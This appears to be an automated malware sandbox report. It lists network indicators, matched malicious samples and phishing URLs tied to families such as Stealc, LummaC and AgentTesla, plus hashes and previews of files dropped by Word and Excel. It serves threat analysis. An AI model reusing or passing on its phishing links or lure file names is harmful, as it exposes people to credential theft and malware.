Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.75.60.91
	https://email.email.pandadoc.net/c/eJxMkE9vEzEQxT_N-pbKO_ba3oMPhWipiEBAoYdeqrE92zVJbGfthD-fHkWi0OOM9Hv6vResU8LNhoXsz0dK7SkG-2Z5fwRKPgf39rRsv4op3T4ujGyvBQcQIxi2WBVmDUaIIJAgaJrROA0G-iB6wRWyaIGD7DmMvZYDqJtej653A7hxHASXppOcjhgPNwVTwJD9TaLGYn1qK3pCdyDb1jOxg11aK7UTtx1MHUxYyn_E52MH04t-B9MFOjG1vKfUia3X2M_Kjc7LORAnLZT03Ds1eE-GBjOKAXojOzGxlFuco8cWc7rOMAQynlBsvBtgI0GJDY6Ob0hzI7AHR0GxvD5jir__QXSR97_ybpvLA1U6_hxPwWtiq625LJE6yfex4rnlgmurV3u20iXWv7hvCj6bWb97PBX_PTp1rg_yE2v2peCm4fpM7fWnUnp9s4sF9iOv-1rQ0zXU7Bzsvn3A0PT9nfmCQ_ioy92fAAAA__-PeqWA	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.96.153.111
	https://mailhotcmhakamloops.wordpress.com/	Get hash	malicious	Unknown	Browse	13.107.246.44
	https://bioaquatictesting-my.sharepoint.com/:f:/g/personal/securedocument_bio-aquatic_com/EqfT1pjHkSVIsZ_uZ-FoAy4BgWwRj-5I-q_oaUpvi5Mxeg?e=eaqeTT	Get hash	malicious	Unknown	Browse	52.98.178.210
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.189.173.23
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://7654658765888767.azurefd.net/mt92C	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
CLOUDFLARENETUS	Pedido de Cota#U00e7#U00e3o -RFQ20241029_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Sat#U0131nalma Sipari#U015fi_(PO40947)_EMS End#U00fcstriyel Servis.exe	Get hash	malicious	Lokibot	Browse	172.67.183.250
	Purchase Order PO61000016222.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Statement JULY #U007e SEP 2024 USD 19,055.00.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	0JLWNg4Sz1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.96.3
	XhYAqi0wi5.exe	Get hash	malicious	Stealc	Browse	172.67.179.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	O3o5Xzk5Wd.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	https://eot.lps-china.com/f/a/pQ-JA2nitAQtMB92xwUcGg~~/AAAHUQA~/RgRpAabzP4QTAWh0dHBzOi8vYmVyZW5pY2UuZW9tYWlsOC5jb20vdW5zdWJzY3JpYmU_ZXA9MiZsPTVlNmE0MDU2LWVhZTMtMTFlZS1hNzNjLWM1NDU2ZDI0OGQ3OCZsYz0zMmVlMmQ3Yy0zMjA4LTExZWYtYTFiZS1lYjMwYzAwY2FlZDgmcD05NDM1NjNkYy05Mzc2LTExZWYtYTdkMi00NTk0MDQ5OWMzNTYmcHQ9Y2FtcGFpZ24mcHY9NCZzcGE9MTczMDA5MzQ0NCZ0PTE3MzAwOTM1NTUmcz1mNWE2NDYwZWE1NTFlYzYxZDFiNjJhZTBhNTI2NGFhNjdmYWMxN2I1MzRkNWI4MzdhNTA0MDAwM2ZhNmZmMGUwVwVzcGNldUIKZw7zIR9n2KUgilIeZ2VtbWEubG9yZW56b0BkdWJhaWhvbGRpbmcuY29tWAQAAAL5	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.google.im/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/creditodigitalelmo.com.br/solo/i2975ufuy18zkhauvhibzzxy/YWRzQGJldHdlZW4udXM=	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	https://alcatrazpackages.com/elchapo.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	completedfiles.....pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	Fatura, siparis onayi.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.74.191 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	104.21.74.191 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.74.191 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.74.191 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.74.191 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	104.21.74.191 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	104.21.74.191 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.74.191 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.74.191 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	104.21.74.191 13.107.246.45
37f463bf4616ecd445d4a1937da06e19	Pedido de Cota#U00e7#U00e3o -RFQ20241029_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.74.191
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.74.191
	XhYAqi0wi5.exe	Get hash	malicious	Stealc	Browse	104.21.74.191
	Uviv7rEtnt.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.74.191
	PO 20240949.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.74.191
	PO 20240949.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.74.191
	rTransferenciarealizada451236.exe	Get hash	malicious	GuLoader	Browse	104.21.74.191
	PO-10212024168877 PNG2023-W101.exe	Get hash	malicious	GuLoader	Browse	104.21.74.191
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.74.191
	PO-10212024168877 PNG2023-W101.exe	Get hash	malicious	GuLoader	Browse	104.21.74.191

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JSON data
Category:	dropped
Size (bytes):	521377
Entropy (8bit):	4.9084889265453135
Encrypted:	false
SSDEEP:	3072:gdTb5Sb3F2FqSrfZm+CnQsbzxZO7aYb6f5780K2:wb5q3umBnzT
MD5:	C37972CBD8748E2CA6DA205839B16444
SHA1:	9834B46ACF560146DD7EE9086DB6019FBAC13B4E
SHA-256:	D4CFBB0E8B9D3E36ECE921B9B51BD37EF1D3195A9CFA1C4586AEA200EB3434A7
SHA-512:	02B4D134F84122B6EE9A304D79745A003E71803C354FB01BAF986BD15E3BA57BA5EF167CC444ED67B9BA5964FF5922C50E2E92A8A09862059852ECD9CEF1A900
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"MajorVersion":4,"MinorVersion":40,"Expiration":14,"Fonts":[{"a":[4294966911],"f":"Abadi","fam":[],"sf":[{"c":[1,0],"dn":"Abadi","fs":32696,"ful":[{"lcp":983041,"lsc":"Latn","ltx":"Abadi"}],"gn":"Abadi","id":"23643452060","p":[2,11,6,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":26215680},{"c":[1,0],"dn":"Abadi Extra Light","fs":22180,"ful":[{"lcp":983042,"lsc":"Latn","ltx":"Abadi Extra Light"}],"gn":"Abadi Extra Light","id":"17656736728","p":[2,11,2,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":13108480}]},{"a":[4294966911],"f":"ADLaM Display","fam":[],"sf":[{"c":[536870913,0],"dn":"ADLaM Display Regular","fs":140072,"ful":[{"lcp":983040,"lsc":"Latn","ltx":"ADLaM Display"}],"gn":"ADLaM Display","id":"31965479471","p":[2,1,0,0,0,0,0,0,0,0],"sub":[],"t":"ttf","u":[2147491951,1107296330,0,0],"v":131072,"w":26215680}]},{"a":[4294966911],"f":"Agency FB","fam":[],"sf":[{"c":[536870913,0],"dn":"Agency FB Bold","fs":54372,"ful":[{"lcp":9830

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	TrueType Font data, 10 tables, 1st "OS/2", 7 names, Microsoft, language 0x409, \251 2018 Microsoft Corporation. All Rights Reserved.msofp_4_40RegularVersion 4.40;O365
Category:	dropped
Size (bytes):	773040
Entropy (8bit):	6.55939673749297
Encrypted:	false
SSDEEP:	12288:Zn84XULLDs51UJQSOf9VvLXHyheIQ47gEFGHtAgk3+/cLQ/zhm1kjFKy6Nyjbqq+:N8XPDs5+ivOXgo1kYvyz2
MD5:	4296A064B917926682E7EED650D4A745
SHA1:	3953A6AA9100F652A6CA533C2E05895E52343718
SHA-256:	E04E41C74D6C78213BA1588BACEE64B42C0EDECE85224C474A714F39960D8083
SHA-512:	A25388DDCE58D9F06716C0F0BDF2AEFA7F68EBCA7171077533AF4A9BE99A08E3DCD8DFE1A278B7AA5DE65DA9F32501B4B0B0ECAB51F9AF0F12A3A8A75363FF2C
Malicious:	false
Preview:	........... OS/29....(...`cmap.s.,.......pglyf..&....\|....head2..........6hheaE.@v.......$hmtx...........@loca.U.....8...Dmaxp........... name.P+........post...<...... .........b~1_.<...........<......r......Aa...................Q....Aa....Aa.........................~...................................................3..............................MS .@.......(...Q................. ...........d...........0...J.......8.......>..........+a..#...,................................................/...K.......z...............N.........!...-...+........z.......h..%^..3...&j..+...+%..'R..+..."....................k......$A...,.......g...&...=.......X..&..............&....B..(B...............#.......j...............+...P...5...@...)..........#...)Q..................{.. ....?..'...#....N...7......<...;>.............. ]...........5......#....s.......$.......$.......^..................+...>....H.......%...7.......6.......O...V...........K......"........c...N......!...............$...&...p..

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	2.7151910322565733
Encrypted:	false
SSDEEP:	24:gDIrgk+vpKAgu+l+tHGFAAJp9WtAZRJ5yoIHWK:smp+RfgXl++AAJtfJ5LIHD
MD5:	2F5E0F888615B475D6324370FBE0615E
SHA1:	4B95EE6C6FD4DF579D1E4A0078E64EC0938B3220
SHA-256:	67DEC07430DEC311B545CEAF0852043519CB2608081142AA4A32DEC7BFCBC4F5
SHA-512:	45B20EAFDB21FFB349AD162134FDA607CF5E5C384DFDD8B9E729CA0AEDE331175DA032F70CA64A52179FCE5798321D70BA2DE5F0F9E47D98F18843660769B103
Malicious:	false
Preview:	1.1.9.,.2.5.5.0.5.0.8.8.,.1.2.5.,.3.7.4.6.3.7.6.,.1.1.9.6.3.7.8.,.1.7.8.8.6.5.8.,.7.0.0.9.9.8.4.,.3.0.0.4.9.2.6.8.,.;.3.2.9.4.5.8.7.9.9.,.3.7.4.6.3.7.8.,.2.3.7.1.6.5.1.,.6.3.6.4.3.3.4.,.1.1.1.1.,.3.0.1.5.3.7.2.1.,.6.3.6.4.3.3.7.,.1.0.0.1.,.6.5.4.0.2.1.5.,.1.0.4.9.5.2.3.4.,.4.0.6.9.3.5.8.2.,.2.4.6.0.9.2.5.8.,.6.3.6.4.3.1.8.,.3.0.1.2.3.4.6.6.,.2.7.1.5.3.4.9.7.,.6.3.7.1.6.9.4.,.5.9.2.2.3.4.2.3.,.5.7.9.9.9.6.6.1.,.1.5.6.1.9.5.8.,.6.3.0.6.3.0.9.9.,.2.7.3.6.0.0.9.5.,.5.8.4.2.5.8.6.0.,.6.1.7.0.7.3.0.7.,.6.3.6.4.3.3.0.,.6.3.6.4.3.3.1.,.6.7.4.8.3.9.6.1.4.,.3.3.7.9.1.6.2.,.4.7.3.8.2.9.4.8.,.1.6.5.7.4.5.3.,.1.0.6.9.5.5.2.,.1.6.5.7.4.5.2.,.5.2.9.1.0.0.0.0.,.1.3.5.2.5.8.6.,.1.3.5.2.5.8.7.,.1.7.7.1.6.5.7.,.1.0.2.3.8.6.4.,.1.0.2.3.6.3.8.,.6.3.7.1.6.9.5.,.3.2.0.5.9.2.7.6.7.,.4.8.1.9.5.5.3.8.,.1.4.6.1.9.5.3.,.6.3.6.4.3.3.2.,.1.1.9.6.2.9.3.,.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.845908451876449
Encrypted:	false
SSDEEP:	48:uiTrlKxsxxVxl9Il8uQ4FRc3JaDJqS4JyMlfVsd1rc:vxY57c3djlfZ
MD5:	1B5E023D672EACE3170E89BC28A11E3D
SHA1:	81B4F82A5F77ADD86254B4AC83410EA8C99E8394
SHA-256:	551D0D5FE349DAC0520F1F72C827C82044054DB157A78F2D421FE32776331351
SHA-512:	4296B6006698992D9FA48F0B2E6F243CA5568E0B71D582CC2396590C983A44DA977433766836D72F7ADE461FAEDE9F9B6345FD91A3ED33CF56D9BE1FDD918005
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.A.u.c.J.J.0.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Y.0.7.2.z.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9071921265906173
Encrypted:	false
SSDEEP:	48:uiTrlKxJx3xl9Il8uQn+zmIZtoX457D0rB4wlU3Cxd/vc:OY0+icYrB4z3Cg
MD5:	8B13B2B40D2E76A02C781CA9F67B4C69
SHA1:	6FB1DCC5A3E30390252283803C44776DB94698CB
SHA-256:	E578590310F9B76179E8B2526EF3BAFE8741551420B70FBF36F3DCEE44C9A041
SHA-512:	B66E506810016A9B5AD0863211123B7791C0DDC2C532C2FE9F49A87141E8A7F5BB0867111A91964FA6CC05C3B101E7A28CDF9D104FF1C69CB2F76BD42EF894EA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.H.X.L.G.R.5.H.j.D.k.3.C.i.F.b.L.a.m.K.N.+.n.c.g.T.0.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Y.x.T.l.O.2.Z.J.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Y.0.7.2.z.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	3.9956934650634297
Encrypted:	false
SSDEEP:	48:uiTrlKxxxlxD9Il8uQNmmcR7MVtCYrwSxIVFX69cEzxKxtjUlTNLp47aWi1ald78:KYSRu0rPxlkjUBJpquEld7W9cOehmv
MD5:	727D2506B43D2F79765B25D04D100FDB
SHA1:	B93E2148A4E4C391FBC1C2A8DC8223A81D8311F4
SHA-256:	7CF82901E41AFF757847309F1EBB2FAF071C98F05641D746BE201640ABC8DCA8
SHA-512:	F22B810E95603A700A6126E61D8830CCD209CC41D75DABB0907F9850E26108361ACFF98F2A792894F970DCBD488D60BD2DF85214A0AB1F23A9D8FAD9B7B6638E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Q.R.p.m.C.p.U.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Y.0.7.2.z.U.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9380B05C.png

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	PNG image data, 42 x 51, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	822
Entropy (8bit):	7.616419704330421
Encrypted:	false
SSDEEP:	12:6v/7LWb/EYintm3eiVOOrbyUv5uNEXoNGJ/qiIXrqOoNUHGcvlf3vKyo1AIJc8Ni:eeinouisOPAYGK/qhLoNUHL9f3iZPpNi
MD5:	35C4E9D7C83D8F4A6792B18A15937836
SHA1:	FD15558DDC4DB88D3BB5491F2064B3C2AFBC85DF
SHA-256:	A8C99F80AB0A94ED469AE026947C14FF6C41F7EB816933EB7A54FCB937FB82B6
SHA-512:	1906EFA3A254C7E955D786C15C4E1A870B5BD9BFC815704E7BE507FEF383E5F602783C55EC33D0CB38710FC44728E97F36FE25E67B6C4934C221DB525B25D67C
Malicious:	false
Preview:	.PNG........IHDR......3.............sRGB.........gAMA......a.....pHYs..........o.d....IDAThC.=.)Q....i...B.P.D..mU+..P..Y.Q..Pjh..H.$.."..n..H.t..w......\o._r....d..{g.1..........E..p...h4.....>..L&..V..........m_,..///x.^..jEG]FWQ.L$..B.....v..g.YM..B..\|>.G.QM....J..g?.t...I.n....5........O....K..wE.u{Z........2.N..b.....Zt..A2...`@[...n...P.....,..0..P$._#e..W&..S%..~zz..8..-......1v..`...c...T...'e...m.....$..v...-.l6).D"......i?....f.....L&.....e.`.N.S.....2y...!.....%..l(..,.r.L..`..C.a.>??S&..<.D...).,.K.....Z......)..K.f.Q&..j..%.t:..(.....LX...c......-..x(..>...[..r.M...^.G..E...JQ%.Q..V.....4..L.c.J...J%...Q...C6..J... .............mj....d.d.5.....g.."({zb5./.....V?J..a.4J..TQd4..>...tQ.\.8.ZRZq3Q.;.N.bo.+.b.G[\|m..f.X,....V.x<~.k.....E.....I..........IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E13E797D.emf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	7428
Entropy (8bit):	5.614949866122965
Encrypted:	false
SSDEEP:	96:yJBOblJaXn/08zDefAm/luoOHo6MiDbDda91RjTBbPxmPAWmOHGXED:yGTNAK4oOIGbK1RvVwPAWmOHGXw
MD5:	A0981767D618160D66397C829AF1CEFB
SHA1:	CB76812F91F24C49385A2E99E6BBC657FCB0E18F
SHA-256:	48F87B835ADFA658EADF4C6D9321B08308B0B9F8292E7013CD0751A8F52E1EAB
SHA-512:	B41798F1F835DFA57C701ABDF94EDD140F92C93D66374264E7E4D420D4E2A1A2FCB719C78EE19E5476B3F3B20E37A2350A64DDAE0AF1C6866EE8A9E4937FAEDB
Malicious:	false
Preview:	....l...............<................... EMF................................8...X....................?..................................C...R...p...................................S.e.g.o.e. .U.I...................................................p.6.).X.....S.d.....................O..O....s....\.....O.......O.\|.O.7..s......O..].u?..s.......s..p...vw.Mq...b.....8.O...sw..q.$.......d.........O.*X.s.....X.s.?q..Mq...n...b.-...d.O.6=rw................<..u.[.v....X..Z......p........................vdv......%...................................r.......x...........'...x.......(...(..................?...........?................l...4...........(...(...(...(...(..... .........................................................................................................................................................................................................................................HD?^KHCcNJFfOJFiQMHlSPJoUPLrWRMvYSPx[UR{]XQ~^XS._ZT.a[U.c\U.e^V.e^X.g`Y.hbY.jaZ.jb\.ld].ld].nd^.nf^.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FCC99CAD.png

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	PNG image data, 55 x 39, 8-bit colormap, interlaced
Category:	dropped
Size (bytes):	1136
Entropy (8bit):	7.14782184831536
Encrypted:	false
SSDEEP:	24:ct4piFqtc+YQKOQw45DymHbFUN9F2zFg91p:Poqtc+fJX+Xarrp
MD5:	49A2F544E34D8473E29F8C4D9CB10D78
SHA1:	8B30666DE8F119B1C2E800C2B2437C09C4F6CEC9
SHA-256:	52417106494ECBBDD3A3D56DE565996562A1C0B0C29C4F43ED99E5FCB4805E07
SHA-512:	091D234ED76AFDEFC4AB3D1687FEE14DDFCFE0149F01106716ED383EB6FC8913803B26A32C69E15ECC85F6781DF09BD1C712193D8A234042E844730C56864128
Malicious:	false
Preview:	.PNG........IHDR...7...'........y....sRGB.........gAMA......a.....PLTE..............===SSS........."""...---......uuu....................'''.........\|\|\|~~~..............$$$...555..........YYY......@@@.........ddd...___.....................,,,......DDD.....000.............u...}}}......???......&&&.........UUU......HHH.........jjj777.........qqq...III......yyy......XXX..........;;;...444.....[[[.........sssppp...BBB...+++...>>>!!!mmm...AAA...###zzz%%%...TTT...xxx......JJJ....bbb...FFFNNN {{{.........VVV.................tRNS..........................................................................................................................................................^p.....pHYs..........+......IDAT8O.M.. 